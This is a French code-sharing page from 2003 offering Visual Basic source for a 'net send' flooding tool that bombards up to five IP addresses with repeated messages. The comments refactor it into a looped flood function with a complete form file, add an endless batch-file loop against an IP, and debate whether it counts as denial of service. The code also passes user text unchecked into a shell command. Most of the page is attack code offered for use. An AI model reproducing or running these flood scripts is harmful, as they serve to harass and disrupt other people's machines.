begin process at 2008 09 06 20:29:17
1 237 936 membres
318 nouveaux aujourd'hui
14 314 membres club

Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum.
Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

MULTINETSENDFLOOD


Information sur la source

Catégorie :Divers Niveau : Débutant Date de création : 02/10/2003 Vu / téléchargé: 9 001 / 1 215

Note :
5,14 / 10 - par 7 personnes
5,14 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (16)
Ajouter un commentaire et/ou une note

Description

Se code sert a envoyé une multitude de message brut par net send
on peut flooder jusque a  5 ip
dans la deuxieme version je placerait 10 ip
et des options supplémentaire genre :
*anonyme
*Le choix de choisir combien de fois
*et surement d'autre chose mais pour cela je vais esseiller de trouver plusieurs source qui saurait m'aider a créer la deuxieme version
je place un zip une capture et
je vous laisse le code :

Source

  • Private Sub Command1_Click()
  • Form1.Caption = Clear
  • If ip1.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip1 !!!"
  • Else
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
  • End If
  • If ip1.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip1 !!!"
  • Else
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
  • End If
  • If ip1.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip1 !!!"
  • Else
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
  • End If
  • If ip1.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip1 !!!"
  • Else
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
  • End If
  • If ip1.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip1 !!!"
  • Else
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
  • End If
  • End Sub
  • Private Sub Command2_Click()
  • Form1.Caption = Clear
  • If ip2.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip2 !!!"
  • Else
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
  • End If
  • If ip2.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip2 !!!"
  • Else
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
  • End If
  • If ip2.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip2 !!!"
  • Else
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
  • End If
  • If ip2.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip2 !!!"
  • Else
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
  • End If
  • If ip2.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip2 !!!"
  • Else
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
  • End If
  • End Sub
  • Private Sub Command3_Click()
  • Form1.Caption = Clear
  • If ip3.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip3 !!!"
  • Else
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
  • End If
  • If ip3.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip3 !!!"
  • Else
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
  • End If
  • If ip3.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip3 !!!"
  • Else
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
  • End If
  • If ip3.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip3 !!!"
  • Else
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
  • End If
  • If ip3.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip3 !!!"
  • Else
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
  • End If
  • End Sub
  • Private Sub Command4_Click()
  • Form1.Caption = Clear
  • If ip4.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip4 !!!"
  • Else
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
  • End If
  • If ip4.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip4 !!!"
  • Else
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
  • End If
  • If ip4.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip4 !!!"
  • Else
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
  • End If
  • If ip4.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip4 !!!"
  • Else
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
  • End If
  • If ip4.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip4 !!!"
  • Else
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
  • End If
  • End Sub
  • Private Sub Command5_Click()
  • If ip5.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip5 !!!"
  • Else
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
  • End If
  • If ip5.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip5 !!!"
  • Else
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
  • End If
  • If ip5.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip5 !!!"
  • Else
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
  • End If
  • If ip5.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip5 !!!"
  • Else
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
  • End If
  • If ip5.Text = "" Then
  • MsgBox "Pas d'ip dans le champ ip5 !!!"
  • Else
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
  • End If
  • End Sub
  • Private Sub Command6_Click()
  • 'Début du flood ip (1 ere fois) :
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • 'Début du flood ip (2 eme fois) :
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • 'Début du flood ip (3 eme fois) :
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • 'Début du flood ip (4 eme fois) :
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • 'Début du flood ip (5eme fois) :
  • Shell "Net send " + ip1.Text + " " + msg.Text
  • Shell "Net send " + ip2.Text + " " + msg.Text
  • Shell "Net send " + ip3.Text + " " + msg.Text
  • Shell "Net send " + ip4.Text + " " + msg.Text
  • Shell "Net send " + ip5.Text + " " + msg.Text
  • 'Fin du flood ip
  • End Sub
  • Private Sub Command7_Click()
  • Unload Me
  • End Sub
  • Private Sub Command8_Click()
  • Form2.Show
  • End Sub
Private Sub Command1_Click()
Form1.Caption = Clear
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
End Sub

Private Sub Command2_Click()
Form1.Caption = Clear
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
End Sub

Private Sub Command3_Click()
Form1.Caption = Clear
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
End Sub

Private Sub Command4_Click()
Form1.Caption = Clear
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
End Sub

Private Sub Command5_Click()
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
End Sub

Private Sub Command6_Click()
'Début du flood ip (1 ere fois) :
 Shell "Net send " + ip1.Text + " " + msg.Text
  Shell "Net send " + ip2.Text + " " + msg.Text
   Shell "Net send " + ip3.Text + " " + msg.Text
    Shell "Net send " + ip4.Text + " " + msg.Text
     Shell "Net send " + ip5.Text + " " + msg.Text
     'Début du flood ip (2 eme fois) :
      Shell "Net send " + ip1.Text + " " + msg.Text
       Shell "Net send " + ip2.Text + " " + msg.Text
        Shell "Net send " + ip3.Text + " " + msg.Text
         Shell "Net send " + ip4.Text + " " + msg.Text
          Shell "Net send " + ip5.Text + " " + msg.Text
          'Début du flood ip (3 eme fois) :
              Shell "Net send " + ip1.Text + " " + msg.Text
       Shell "Net send " + ip2.Text + " " + msg.Text
        Shell "Net send " + ip3.Text + " " + msg.Text
         Shell "Net send " + ip4.Text + " " + msg.Text
          Shell "Net send " + ip5.Text + " " + msg.Text
          'Début du flood ip (4 eme fois) :
              Shell "Net send " + ip1.Text + " " + msg.Text
       Shell "Net send " + ip2.Text + " " + msg.Text
        Shell "Net send " + ip3.Text + " " + msg.Text
         Shell "Net send " + ip4.Text + " " + msg.Text
          Shell "Net send " + ip5.Text + " " + msg.Text
          'Début du flood ip (5eme fois) :
              Shell "Net send " + ip1.Text + " " + msg.Text
       Shell "Net send " + ip2.Text + " " + msg.Text
        Shell "Net send " + ip3.Text + " " + msg.Text
         Shell "Net send " + ip4.Text + " " + msg.Text
          Shell "Net send " + ip5.Text + " " + msg.Text
          'Fin du flood ip
End Sub

Private Sub Command7_Click()
Unload Me
End Sub

Private Sub Command8_Click()
Form2.Show
End Sub

Conclusion

Si y aurait moyen de m'aider envoyer moi un mail dans ma boite codes sources !!!
Merci.
Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

  • signaler à un administrateur
    Commentaire de Renfield le 02/10/2003 18:44:54 administrateur CS

    Tu connais les groupes de controle ??

    C'est simple, il s'agit de tableaux de controles ( textbox, boutons...)
    l'avantage en est fort simple, on ne copie colle pas 200 fois le même code !!! Pour cela, affecte une valeur a la propriete Index de tes texboxes, Boutons.

    En plus de ca, ton code se repete tout le temps, non, vraiment, c'est très loin d'être optimise.....

  • signaler à un administrateur
    Commentaire de MasterProg2003 le 02/10/2003 18:58:35

    Moi je trouve sa sympa !
    Mais domage que le code est repeté :s
    je mets 6/10

  • signaler à un administrateur
    Commentaire de Sibelle07 le 02/10/2003 19:00:21

    Oui! Mais je ne vois pas comment faire de mieux !!!
    Si au moin on pourrait m'aider !!!
    tu sais m'aider MasterProg2003 ?

  • signaler à un administrateur
    Commentaire de MasterProg2003 le 02/10/2003 19:01:59

    Je suis désolé je suis encore un débutant en visual basic
    je ne connait pas beaucoup !!!
    Lol !
    Ben va sur le forum certain t'aideront peut etre ;-)
    a+

  • signaler à un administrateur
    Commentaire de ICIoBRa le 02/10/2003 19:15:19

    Une petite info, o lieu de test Form1.Caption et tout ce bordel tu peux mettre des " dans une chaine de caractère en l'insérant deux fois o lieu d'une. Si tu le places en premier ou en dernier de ta chaine de caractère, il y en aura donc 3.
    Bonne continuation

  • signaler à un administrateur
    Commentaire de Spectrum le 03/10/2003 10:42:44

    Le code est répétitif, tu teste 5 fois la même chose dans tes sub correspondantes au boutons de commande. Utilises une boucle For ou un Do While, tu gagneras grandement en lisibilité. Sinon, tu pourrais créer une fonction flood que tu appelerais à partir de tes Subs.

    En utilisant ca + des groupes de contrôle on peut résumer ton code comme ca :

    Private Function Flood(ip As String, sdcount As Integer, msg As String) As String
        Dim i
        i = 1
        For i = 1 To sdcount
            Shell "Net Send " & ip & " " & msg
        Next i
        Flood = sdcount & " messages envoyés à " & ip
    End Function

    Private Sub Command1_Click(Index As Integer)
        Dim result
        Dim sdcount As Integer
        sdcount = 3
        result = Flood(ip(Index).Text, sdcount, msg.Text)
        MsgBox result
    End Sub

  • signaler à un administrateur
    Commentaire de Sibelle07 le 03/10/2003 14:43:41

    Il y a des erreurs la dedans !!!
    :s
    Tu a surement oublier des trucs ou tu t'es gouré dans la source !!!
    Spectrum !!!

  • signaler à un administrateur
    Commentaire de Spectrum le 03/10/2003 14:49:27

    En effet le source est pas complet, il te faut une form avec autant de  textBox ip ayant comme nom "ip" avec un index pour chacune ainsi que des boutons ayant pour nom Command1 (idem pour les index). Sur le principe, tu met le bouton index 1 avec le textbox index 1 et ainsi de suite. Il te faut également un textbox appelé "msg". Mais bon c'est implicite en lisant le code. La source fonctionne, je l'ai fait en local. Si tu la veut dis le moi je te l'envoie.

  • signaler à un administrateur
    Commentaire de Sibelle07 le 03/10/2003 14:50:54

    oui sa m'interrese ;-)

  • signaler à un administrateur
    Commentaire de Spectrum le 03/10/2003 15:10:25

    J'ai pas ton mail, donc je te met tout le code en vrac :

    Form1.frm

    ---------------------------------------------
    VERSION 5.00
    Begin VB.Form Form1
       Caption         =   "Form1"
       ClientHeight    =   3195
       ClientLeft      =   60
       ClientTop       =   345
       ClientWidth     =   4680
       LinkTopic       =   "Form1"
       ScaleHeight     =   3195
       ScaleWidth      =   4680
       StartUpPosition =   3  'Windows Default
       Begin VB.TextBox msg
          Height          =   1575
          Left            =   120
          TabIndex        =   4
          Text            =   "Text2"
          Top             =   1440
          Width           =   3975
       End
       Begin VB.TextBox ip
          Height          =   375
          Index           =   1
          Left            =   120
          TabIndex        =   3
          Text            =   "Text1"
          Top             =   480
          Width           =   2415
       End
       Begin VB.TextBox ip
          Height          =   375
          Index           =   0
          Left            =   120
          TabIndex        =   2
          Text            =   "Text1"
          Top             =   960
          Width           =   2415
       End
       Begin VB.CommandButton Command1
          Caption         =   "Command1"
          Height          =   375
          Index           =   1
          Left            =   2760
          TabIndex        =   1
          Top             =   480
          Width           =   1335
       End
       Begin VB.CommandButton Command1
          Caption         =   "Command1"
          Height          =   375
          Index           =   0
          Left            =   2760
          TabIndex        =   0
          Top             =   960
          Width           =   1335
       End
    End
    Attribute VB_Name = "Form1"
    Attribute VB_GlobalNameSpace = False
    Attribute VB_Creatable = False
    Attribute VB_PredeclaredId = True
    Attribute VB_Exposed = False
    Private Function Flood(ip As String, sdcount As Integer, msg As String) As String
        Dim i
        i = 1
        For i = 1 To sdcount
            Shell "Net Send " & ip & " " & msg
        Next i
        Flood = sdcount & " messages envoyés à " & ip
    End Function

    Private Sub Command1_Click(Index As Integer)
        Dim result
        Dim sdcount As Integer
        sdcount = 3
        If ip(Index).Text <> "" Then
            result = Flood(ip(Index).Text, sdcount, msg.Text)
            MsgBox result
        Else
            MsgBox "Le champ ip(" & Index & ") est vide !"
        End If
        
    End Sub
    ----------------------------------------------

    avec ca tu dois t'en sortir

  • signaler à un administrateur
    Commentaire de DocteurVB le 04/10/2003 22:07:10

    sinon tu vas dans le bloc note tu tape

    : etiquette
    net send 10.20.30.50 message bidon
    goto etiquette

    tu l'enregistre en .bat et tu l'éxécute ça fait la même chose mais que sur une seul ip mais bon comme ça ne sert pas à grand chose à la base...

    Remarque : l'ip que j'ai mise est bidon... bien entendu...

  • signaler à un administrateur
    Commentaire de kimmelf2 le 06/10/2003 00:23:30

    Pour les groupes de controle :

    Comme tu le vois dans le message de Spectrum, il y a 2 textboxs identiques a part leur champ index. Il te suffit d'utiliser cette valeur comme un indice de tableau

    Pour creer les groupes de controle(dans le cas d'un bouton par exemple), tu place ton premier bouton, tu lui donne tous les params voulus. Ensuite, tu le selectionne et tu fais des copier/coller. Si tu regarde les params de chaque bouton cree, tout sera pareil sauf la valeur index qui s'incrementera.

  • signaler à un administrateur
    Commentaire de Droops le 27/02/2004 08:22:10

    Salut à tous et toutes,

    désolé d'être un rabat-joie mais  si effectivement le code peut être revu (les groupes sont une bonne solution, peut-être y-en-a-t-il d'autres, ...). L 'objectif de ce code n'a rien avoir avec du développement. Flood, en VO veut dire inonder. Bref vous êtes entrain de cautionner une technique de piratage informatique appelée  de Déni de Service. Dommage ... pour moi (et cela n'engage que moi) développer rime avec créer ... pas avec détruire ou casser. Il y a d'autres sujets pour développer qu'attaquer des IP avec une technique qui, si on se penche un peu sur le problème de la sécurité informatique, manque de sérieux. Je le répète, désolé d'être celui qui la ramène avec ma morale à 0,33 ?  ... mais là : ca craint un peu. Rien de perso. Je trouve juste qu'il y a mieux à faire.

  • signaler à un administrateur
    Commentaire de lefreemand32 le 13/03/2004 12:53:52

    je suis pas oki avec toi droops, tous les grand developpeur on souvent commnecer par du piratage de bas niveau et je ne considere pas le net send comme une forme de piratage mais comme un entrainement au reseau donc moi je trouve le principe de son prog tres sympas j'aimerai bcp pouvoir t'aider mais en vb moi aussi mes connaissance sont limiter dc si je peu me permettre de metre une note je metrai un 15/20 car faut du courage et de l'ambition pour ce prtit prog
    :-) ===> lefreemand32

  • signaler à un administrateur
    Commentaire de B0mbJacK le 11/05/2004 13:04:02

    y'a plus simple!!

    ---------------------------------------------------------------------
    Private Sub envoi_Click()
    If Text.Text <> "" And txtip <> "" And nbr.Text <> "" Then
    Dim i As Integer
    For i = 0 To nbr.Text - 1
    Shell "Net send" + txtip.Text + " " + Text.Text
    Next i
    lbl.Caption = "Nombre de message envoyés : " & (i)
    Else
    MsgBox ("rempli déjà le formulaire avant d'envoyer")
    End If
    End Sub
    ------------------------------------------------------------
    si tu veux flooder plusieurs ips en meme temps tu rajoute

    Shell "Net send" + txtip2.Text + " " + Text.Text
    Shell "Net send" + txtip3.Text + " " + Text.Text

    etc.....dans la boucle
    voilà gros!! bonne continuation

  • signaler à un administrateur
    Commentaire de Calibrus le 04/03/2007 15:52:24

    veuillez svp expliquer comment activer le code sur mirc, on s'y connait pas tous en la matiere, un peu d'aide et  plus de details nous fera du bien. un bon code c tres bien, mais il faut aussi savoir l'activer et s'en servir. merci d'avance

Ajouter un commentaire

Pub



Appels d'offres

CalendriCode

Septembre 2008
LMMJVSD
1234567
891011121314
15161718192021
22232425262728
2930     

Boutique

Boutique de goodies CodeS-SourceS